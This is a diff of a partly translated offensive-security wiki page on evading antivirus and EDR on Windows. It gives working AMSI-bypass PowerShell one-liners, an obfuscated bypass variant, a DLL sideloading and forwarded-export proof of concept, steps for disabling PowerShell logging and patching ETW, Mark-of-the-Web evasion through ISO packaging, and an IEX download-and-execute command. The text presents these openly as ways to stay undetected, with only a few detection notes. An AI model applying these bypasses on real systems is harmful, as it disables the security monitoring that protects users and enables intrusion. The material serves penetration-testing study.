+Recomendo fortemente que você **explore DLL Hijackable/Sideloadable programs por conta própria**; esta técnica é bastante discreta quando feita corretamente, mas se você usar programas publicamente conhecidos como DLL Sideloadable, pode ser facilmente pego.
 
-Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não fará com que seu payload seja executado, pois o programa espera funções específicas dentro dessa DLL. Para resolver esse problema, usaremos outra técnica chamada **DLL Proxying/Forwarding**.
+Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não será suficiente para executar seu payload, já que o programa espera funções específicas dentro dessa DLL. Para resolver esse problema, usaremos outra técnica chamada **DLL Proxying/Forwarding**.
 
-**DLL Proxying** encaminha as chamadas que um programa faz da DLL proxy (e maliciosa) para a DLL original, preservando assim a funcionalidade do programa e sendo capaz de gerenciar a execução do seu payload.
+**DLL Proxying** encaminha as chamadas que um programa faz da DLL proxy (maliciosa) para a DLL original, preservando a funcionalidade do programa e permitindo executar seu payload.
 
 Vou usar o projeto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) do [@flangvik](https://twitter.com/Flangvik/)
 
@@ -98,7 +98,7 @@ Estes são os passos que segui:
 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
 ```
-O último comando nos dará 2 arquivos: a DLL source code template, e a DLL original renomeada.
+O último comando nos dará 2 arquivos: um modelo de código-fonte de DLL e a DLL original renomeada.
 
 <figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
 ```
@@ -106,18 +106,78 @@ O último comando nos dará 2 arquivos: a DLL source code template, e a DLL orig
 ```
 <figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
 
-Tanto nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) quanto a proxy DLL têm uma taxa de detecção 0/26 no [antiscan.me](https://antiscan.me)! Eu chamaria isso de um sucesso.
+Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
 
 <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
 
 > [!TIP]
-> Recomendo fortemente que você assista [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender mais sobre o que discutimos de forma mais aprofundada.
+> I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
+
+### Abusing Forwarded Exports (ForwardSideLoading)
+
+Módulos PE do Windows podem exportar funções que são na verdade "forwarders": ao invés de apontar para código, a entrada de export contém uma string ASCII no formato `TargetDll.TargetFunc`. Quando um caller resolve a exportação, o Windows loader irá:
+
+- Carregar `TargetDll` se ainda não estiver carregado
+- Resolver `TargetFunc` a partir dele
+
+Comportamentos-chave para entender:
+- Se `TargetDll` é um KnownDLL, ele é fornecido a partir do namespace protegido KnownDLLs (por exemplo, ntdll, kernelbase, ole32).
+- Se `TargetDll` não é um KnownDLL, a ordem normal de busca de DLLs é usada, o que inclui o diretório do módulo que está fazendo a resolução do forward.
+
+Isso habilita uma primitiva indireta de sideloading: encontre uma DLL assinada que exporte uma função encaminhada para um nome de módulo que não seja KnownDLL, então coloque essa DLL assinada no mesmo diretório de uma DLL controlada pelo atacante com exatamente o mesmo nome do módulo alvo encaminhado. Quando a export encaminhada for invocada, o loader resolve o forward e carrega sua DLL a partir do mesmo diretório, executando seu DllMain.
+
+Example observed on Windows 11:
+```
+keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
+```
+`NCRYPTPROV.dll` não é um KnownDLL, então é resolvido pela ordem normal de busca.
+
+PoC (copy-paste):
+1) Copie a DLL de sistema assinada para uma pasta gravável
+```
+copy C:\Windows\System32\keyiso.dll C:\test\
+```
+Coloque um `NCRYPTPROV.dll` malicioso na mesma pasta. Um DllMain mínimo é suficiente para obter execução de código; você não precisa implementar a função encaminhada para acionar DllMain.
+```c
+// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
+#include <windows.h>
+BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
+if (reason == DLL_PROCESS_ATTACH){
+HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
+}
+return TRUE;
+}
+```
+3) Acionar o forward com um LOLBin assinado:
+```
+rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
+```
+Observed behavior:
+- `rundll32` (assinado) carrega o side-by-side `keyiso.dll` (assinado)
+- Ao resolver `KeyIsoSetAuditingInterface`, o carregador segue o encaminhamento para `NCRYPTPROV.SetAuditingInterface`
+- Em seguida o carregador carrega `NCRYPTPROV.dll` de `C:\test` e executa seu `DllMain`
+- Se `SetAuditingInterface` não estiver implementado, você receberá um erro "missing API" somente depois que `DllMain` já tiver sido executado
+
+Hunting tips:
+- Concentre-se em forwarded exports cujo módulo de destino não é um KnownDLL. KnownDLLs são listados em `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
+- Você pode enumerar forwarded exports com ferramentas como:
+```
+dumpbin /exports C:\Windows\System32\keyiso.dll
+# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
+```
+Consulte o inventário de forwarders do Windows 11 para procurar candidatos: https://hexacorn.com/d/apis_fwd.txt
+
+Ideias de detecção/defesa:
+- Monitore LOLBins (ex.: rundll32.exe) carregando DLLs assinadas de caminhos que não são do sistema, seguidas pelo carregamento de non-KnownDLLs com o mesmo nome base nesse diretório
+- Dispare alertas para cadeias de processo/módulo como: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` em caminhos graváveis pelo usuário
+- Aplique políticas de integridade de código (WDAC/AppLocker) e negue write+execute em diretórios de aplicativos
 
 ## [**Freeze**](https://github.com/optiv/Freeze)
 
 `Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
 
-Você pode usar Freeze para carregar e executar seu shellcode de forma furtiva.
+Você pode usar Freeze para carregar e executar seu shellcode de maneira furtiva.
 ```
 Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
 1. Generate some shellcode, in this case I used Havoc C2.
@@ -127,51 +187,51 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
 <figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
 
 > [!TIP]
-> Evasão é apenas um jogo de gato e rato; o que funciona hoje pode ser detectado amanhã, então nunca confie em apenas uma ferramenta — se possível, tente encadear múltiplas técnicas de evasion.
+> Evasão é um jogo de gato e rato — o que funciona hoje pode ser detectado amanhã, então nunca dependa de apenas uma ferramenta; se possível, tente encadear múltiplas técnicas de evasão.
 
 ## AMSI (Anti-Malware Scan Interface)
 
-AMSI foi criado para prevenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os AVs eram capazes apenas de escanear **files on disk**, então se você conseguisse executar payloads **directly in-memory**, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
+AMSI foi criado para prevenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os AVs só eram capazes de escanear **arquivos em disco**, então se você conseguisse executar payloads **diretamente em memória**, o AV não podia fazer nada para impedir, pois não tinha visibilidade suficiente.
 
-A feature AMSI está integrada nestes componentes do Windows.
+A funcionalidade AMSI está integrada nesses componentes do Windows.
 
-- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
-- PowerShell (scripts, interactive use, and dynamic code evaluation)
-- Windows Script Host (wscript.exe and cscript.exe)
+- User Account Control, or UAC (elevação de EXE, COM, MSI, ou instalação ActiveX)
+- PowerShell (scripts, uso interativo e avaliação dinâmica de código)
+- Windows Script Host (wscript.exe e cscript.exe)
 - JavaScript and VBScript
 - Office VBA macros
 
-Ela permite que soluções antivírus inspecionem o comportamento de scripts expondo o conteúdo dos scripts em uma forma que não está encriptada nem ofuscada.
+Ela permite que soluções antivírus inspecionem o comportamento de scripts expondo o conteúdo do script de forma não criptografada e não ofuscada.
 
-Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` irá produzir o seguinte alerta no Windows Defender.
+Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` gerará o seguinte alerta no Windows Defender.
 
 <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
 
-Note como ele prefixa `amsi:` e então o caminho para o executável de onde o script foi executado, neste caso, powershell.exe
+Note como ele antepõe `amsi:` e então o caminho para o executável de onde o script foi executado — neste caso, powershell.exe
 
-Não deixamos nenhum arquivo no disco, mas ainda assim fomos pegos na memória por causa do AMSI.
+Não deixamos nenhum arquivo no disco, mas mesmo assim fomos detectados em memória por causa do AMSI.
 
-Além disso, a partir do **.NET 4.8**, código C# também é executado através do AMSI. Isso até afeta `Assembly.Load(byte[])` para carregar execução in-memory. Por isso é recomendado usar versões mais antigas do .NET (como 4.7.2 ou abaixo) para execução in-memory se você quiser evadir o AMSI.
+Além disso, a partir do **.NET 4.8**, código C# também passa pelo AMSI. Isso afeta até `Assembly.Load(byte[])` para carregamento em memória. Por isso, usar versões mais antigas do .NET (como 4.7.2 ou inferiores) é recomendado para execução em memória se você quiser evadir o AMSI.
 
 Existem algumas maneiras de contornar o AMSI:
 
 - **Obfuscation**
 
-Como o AMSI funciona principalmente com detecções estáticas, modificar os scripts que você tenta carregar pode ser uma boa forma de evadir a detecção.
+Como o AMSI trabalha principalmente com detecções estáticas, modificar os scripts que você tenta carregar pode ser uma boa forma de evadir a detecção.
 
-No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenham múltiplas camadas, então obfuscação pode ser uma má opção dependendo de como for feita. Isso torna a evasão nem tão direta. Embora, às vezes, tudo que você precisa fazer é mudar um par de nomes de variáveis e você estará bem — então depende de quanto algo foi sinalizado.
+No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenham várias camadas, então a obfuscação pode ser uma má opção dependendo de como é feita. Isso torna a evasão não tão trivial. Embora, às vezes, tudo que você precise seja mudar alguns nomes de variáveis e pronto, então depende do quanto algo foi sinalizado.
 
 - **AMSI Bypass**
 
-Como o AMSI é implementado carregando uma DLL dentro do processo do powershell (também cscript.exe, wscript.exe, etc.), é possível mexer nele facilmente mesmo rodando como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, pesquisadores encontraram múltiplas formas de evadir o escaneamento do AMSI.
+Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível manipulá-lo facilmente mesmo executando como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, pesquisadores descobriram múltiplas formas de evadir a varredura do AMSI.
 
 **Forcing an Error**
 
-Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em nenhum scan sendo iniciado para o processo atual. Originalmente isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir uso mais amplo.
+Forçar a inicialização do AMSI a falhar (amsiInitFailed) fará com que nenhuma varredura seja iniciada para o processo atual. Originalmente isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir uso mais amplo.
 ```bash
 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 ```
-Tudo o que foi preciso foi uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Essa linha, claro, foi sinalizada pelo próprio AMSI, então é necessário algum ajuste para usar essa técnica.
+Tudo o que foi preciso foi uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Essa linha, é claro, foi sinalizada pelo próprio AMSI, então é necessária alguma modificação para usar essa técnica.
 
 Aqui está um AMSI bypass modificado que peguei deste [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
 ```bash
@@ -187,92 +247,92 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
 $Spotfix.SetValue($null,$true)
 }Catch{Throw $_}
 ```
-Tenha em mente que isso provavelmente será sinalizado assim que esta publicação sair, portanto você não deve publicar nenhum código se seu plano for permanecer indetectado.
+Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
 
 **Memory Patching**
 
-Esta técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê‑la com instruções para retornar o código E_INVALIDARG; dessa forma, o resultado da verificação real retornará 0, que é interpretado como um resultado limpo.
+Essa técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-la com instruções para retornar o código E_INVALIDARG; dessa forma, o resultado da verificação real retornará 0, que é interpretado como um resultado limpo.
 
 > [!TIP]
-> Por favor leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
+> Por favor, leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
 
-Também existem muitas outras técnicas usadas para contornar o AMSI com PowerShell, confira [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para saber mais sobre elas.
+Existem também muitas outras técnicas usadas para bypass AMSI com powershell, confira [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para saber mais sobre elas.
 
-Esta ferramenta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) também gera scripts para contornar o AMSI.
+Esta ferramenta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) também gera script para bypass AMSI.
 
-**Remover a assinatura detectada**
+**Remove the detected signature**
 
-Você pode usar uma ferramenta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para remover a assinatura AMSI detectada da memória do processo atual. Essa ferramenta funciona escaneando a memória do processo atual à procura da assinatura AMSI e então sobrescrevendo‑a com instruções NOP, removendo‑a efetivamente da memória.
+Você pode usar uma ferramenta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para remover a assinatura AMSI detectada da memória do processo atual. Essa ferramenta funciona escaneando a memória do processo atual em busca da assinatura AMSI e então sobrescrevendo-a com instruções NOP, removendo-a efetivamente da memória.
 
-**Produtos AV/EDR que usam AMSI**
+**AV/EDR products that uses AMSI**
 
 Você pode encontrar uma lista de produtos AV/EDR que usam AMSI em **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
 
-**Usar PowerShell versão 2**
-Se você usar PowerShell versão 2, o AMSI não será carregado, então você pode executar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isto:
+**Use a versão 2 do Powershell**
+Se você usar PowerShell version 2, o AMSI não será carregado, então você pode executar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isso:
 ```bash
 powershell.exe -version 2
 ```
-## Registro do PowerShell
+## PS Logging
 
-PowerShell logging é um recurso que permite registrar todos os comandos do PowerShell executados em um sistema. Isso pode ser útil para auditoria e solução de problemas, mas também pode ser um **problema para atacantes que querem evadir a detecção**.
+PowerShell logging é um recurso que permite registrar todos os comandos PowerShell executados em um sistema. Isso pode ser útil para auditoria e solução de problemas, mas também pode ser um **problema para attackers que querem evadir a detecção**.
 
-Para contornar o registro do PowerShell, você pode usar as seguintes técnicas:
+To bypass PowerShell logging, you can use the following techniques:
 
-- **Desativar PowerShell Transcription e Module Logging**: Você pode usar uma ferramenta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para esse propósito.
-- **Usar Powershell version 2**: Se você usar PowerShell version 2, AMSI não será carregado, então você pode executar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isso: `powershell.exe -version 2`
-- **Usar uma Unmanaged Powershell Session**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para gerar um powershell sem defesas (isso é o que `powerpick` from Cobal Strike usa).
+- **Disable PowerShell Transcription and Module Logging**: Você pode usar uma ferramenta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para esse propósito.
+- **Use Powershell version 2**: Se você usar PowerShell version 2, AMSI não será carregado, então você pode rodar seus scripts sem serem escaneados pelo AMSI. Você pode fazer isso: `powershell.exe -version 2`
+- **Use an Unmanaged Powershell Session**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para spawnar um powershell without defenses (isso é o que `powerpick` do Cobal Strike usa).
 
 
-## Ofuscação
+## Obfuscation
 
 > [!TIP]
-> Várias técnicas de ofuscação dependem de criptografar dados, o que aumentará a entropia do binário e facilitará que AVs e EDRs o detectem. Tenha cuidado com isso e talvez aplique criptografia apenas a seções específicas do seu código que sejam sensíveis ou que precisem ser ocultadas.
+> Várias técnicas de obfuscation dependem de criptografar dados, o que aumentará a entropia do binário e tornará mais fácil para AVs e EDRs detectá-lo. Tenha cuidado com isso e talvez aplique criptografia apenas em seções específicas do seu código que sejam sensíveis ou precisem ser escondidas.
 
-### Deobfuscando binários .NET protegidos por ConfuserEx
+### Deobfuscating ConfuserEx-Protected .NET Binaries
 
-Ao analisar malware que usa ConfuserEx 2 (ou forks comerciais) é comum enfrentar várias camadas de proteção que bloqueiam decompiladores e sandboxes. O fluxo de trabalho abaixo restaura de forma confiável um **IL quase original** que pode depois ser decompilado para C# em ferramentas como dnSpy ou ILSpy.
+When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes.  The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.
 
-1.  Remoção de anti-tamper – ConfuserEx criptografa todo o *method body* e o descriptografa dentro do construtor estático do *module* (`<Module>.cctor`). Isso também altera o checksum do PE de forma que qualquer modificação fará o binário travar. Use **AntiTamperKiller** para localizar as tabelas de metadata criptografadas, recuperar as chaves XOR e reescrever um assembly limpo:
+1.  Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`).  This also patches the PE checksum so any modification will crash the binary.  Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
 ```bash
 # https://github.com/wwh1004/AntiTamperKiller
 python AntiTamperKiller.py Confused.exe Confused.clean.exe
 ```
-A saída contém os 6 parâmetros anti-tamper (`key0-key3`, `nameHash`, `internKey`) que podem ser úteis ao construir seu próprio unpacker.
+Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker.
 
-2.  Recuperação de símbolos / fluxo de controle – alimente o arquivo *clean* ao **de4dot-cex** (um fork de de4dot consciente do ConfuserEx).
+2.  Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
 ```bash
 de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
 ```
 Flags:
-• `-p crx` – seleciona o perfil ConfuserEx 2
-• de4dot desfará o control-flow flattening, restaurará namespaces, classes e nomes de variáveis originais e descriptografará strings constantes.
+• `-p crx` – select the ConfuserEx 2 profile
+• de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.
 
-3.  Remoção de proxy-calls – ConfuserEx substitui chamadas diretas de método por wrappers leves (também chamados *proxy calls*) para dificultar ainda mais a decompilação. Remova-os com **ProxyCall-Remover**:
+3.  Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation.  Remove them with **ProxyCall-Remover**:
 ```bash
 ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
 ```
-Após este passo você deve observar APIs .NET normais como `Convert.FromBase64String` ou `AES.Create()` em vez de funções wrapper opacas (`Class8.smethod_10`, …).
+After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …).
 
-4.  Limpeza manual – execute o binário resultante no dnSpy, procure por grandes blobs Base64 ou uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar o payload *real*. Frequentemente o malware o armazena como um array de bytes codificado em TLV inicializado dentro de `<Module>.byte_0`.
+4.  Manual clean-up – execute o binário gerado no dnSpy, procure por grandes blobs Base64 ou uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar o *payload* real. Frequentemente o malware o armazena como um array de bytes codificado em TLV inicializado dentro de `<Module>.byte_0`.
 
-A cadeia acima restaura o fluxo de execução **sem** precisar rodar a amostra maliciosa – útil quando se trabalha em uma estação de trabalho offline.
+The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation.
 
-> 🛈  ConfuserEx produz um atributo customizado chamado `ConfusedByAttribute` que pode ser usado como um IOC para triagem automática de amostras.
+> 🛈  ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
 
-#### Linha única
+#### One-liner
 ```bash
 autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
 ```
 ---
 
 - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
-- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork open-source da suíte de compilação [LLVM](http://www.llvm.org/) capaz de oferecer maior segurança de software através de [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e tamper-proofing.
+- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork open-source da suíte de compilação [LLVM](http://www.llvm.org/) capaz de proporcionar maior segurança de software através de code obfuscation e tamper-proofing.
 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, em tempo de compilação, obfuscated code sem usar qualquer ferramenta externa e sem modificar o compilador.
-- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de obfuscated operations gerada pelo C++ template metaprogramming framework que tornará a vida de quem quiser crackear a aplicação um pouco mais difícil.
-- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um x64 binary obfuscator capaz de ofuscar vários tipos de PE files incluindo: .exe, .dll, .sys
-- [**metame**](https://github.com/a0rtega/metame): Metame é um simple metamorphic code engine para executáveis arbitrários.
-- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um fine-grained code obfuscation framework para linguagens suportadas pelo LLVM usando ROP (return-oriented programming). ROPfuscator obfuscates um programa no nível de código assembly transformando instruções regulares em ROP chains, frustrando nossa concepção natural de fluxo de controle normal.
+- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de obfuscated operations geradas pelo framework C++ template metaprogramming que tornará a vida de quem quiser crackar a aplicação um pouco mais difícil.
+- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um obfuscator binário x64 capaz de obfuscar vários arquivos PE diferentes incluindo: .exe, .dll, .sys
+- [**metame**](https://github.com/a0rtega/metame): Metame é um mecanismo simples de metamorphic code para executáveis arbitrários.
+- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um fine-grained code obfuscation framework para linguagens suportadas pelo LLVM que usa ROP (return-oriented programming). ROPfuscator obfusca um programa ao nível de código assembly transformando instruções regulares em ROP chains, contrariando nossa concepção natural de fluxo de controle.
 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um .NET PE Crypter escrito em Nim
 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e então carregá-los
 
@@ -284,22 +344,22 @@ Microsoft Defender SmartScreen é um mecanismo de segurança destinado a protege
 
 <figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
 
-SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicações pouco baixadas irão acionar o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em More Info -> Run anyway).
+SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicações pouco baixadas acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando More Info -> Run anyway).
 
-**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, junto com a URL de onde foi baixado.
+**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome Zone.Identifier que é automaticamente criado ao baixar arquivos da internet, junto com a URL de onde foi baixado.
 
 <figure><img src="../images/image (237).png" alt=""><figcaption><p>Verificando o Zone.Identifier ADS para um arquivo baixado da internet.</p></figcaption></figure>
 
 > [!TIP]
-> É importante notar que executáveis assinados com um certificado de assinatura **trusted** **não irão acionar o SmartScreen**.
+> É importante notar que executáveis assinados com um certificado de assinatura **confiável** **não acionam o SmartScreen**.
 
-Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web é embalá-los dentro de algum tipo de container como um ISO. Isso acontece porque Mark-of-the-Web (MOTW) **não pode** ser aplicado a volumes **non NTFS**.
+Uma forma muito eficaz de evitar que seus payloads recebam o Mark of The Web é empacotá-los dentro de algum tipo de container, como um ISO. Isso acontece porque Mark-of-the-Web (MOTW) **não pode** ser aplicado a volumes **não NTFS**.
 
 <figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
 
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em containers de saída para evadir o Mark-of-the-Web.
+[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em containers de saída para evitar o Mark-of-the-Web.
 
-Exemplo de uso:
+Example usage:
 ```bash
 PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
 
@@ -327,49 +387,49 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
 
 ## ETW
 
-Event Tracing for Windows (ETW) é um poderoso mecanismo de registro no Windows que permite que aplicações e componentes do sistema **registrem eventos**. No entanto, também pode ser usado por produtos de segurança para monitorar e detectar atividades maliciosas.
+Event Tracing for Windows (ETW) é um poderoso mecanismo de logging no Windows que permite que aplicações e componentes do sistema **registem eventos**. No entanto, também pode ser usado por produtos de segurança para monitorar e detectar atividades maliciosas.
 
-Similar ao modo como o AMSI é desativado (bypassed), também é possível fazer com que a função **`EtwEventWrite`** do processo em espaço de usuário retorne imediatamente sem registrar qualquer evento. Isso é feito patchando a função na memória para retornar imediatamente, efetivamente desabilitando o registro ETW para esse processo.
+Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. Isto é feito patchando a função na memória para retornar imediatamente, desabilitando efetivamente o logging do ETW para esse processo.
 
-Você pode encontrar mais informações em **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
+You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
 
 
 ## C# Assembly Reflection
 
-Carregar binários C# na memória é algo conhecido há bastante tempo e ainda é uma ótima forma de executar suas ferramentas de pós-exploração sem ser detectado por AV.
+Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
 
-Como o payload será carregado diretamente na memória sem tocar no disco, só teremos que nos preocupar em patchar o AMSI para todo o processo.
+Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
 
-A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já oferecem a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:
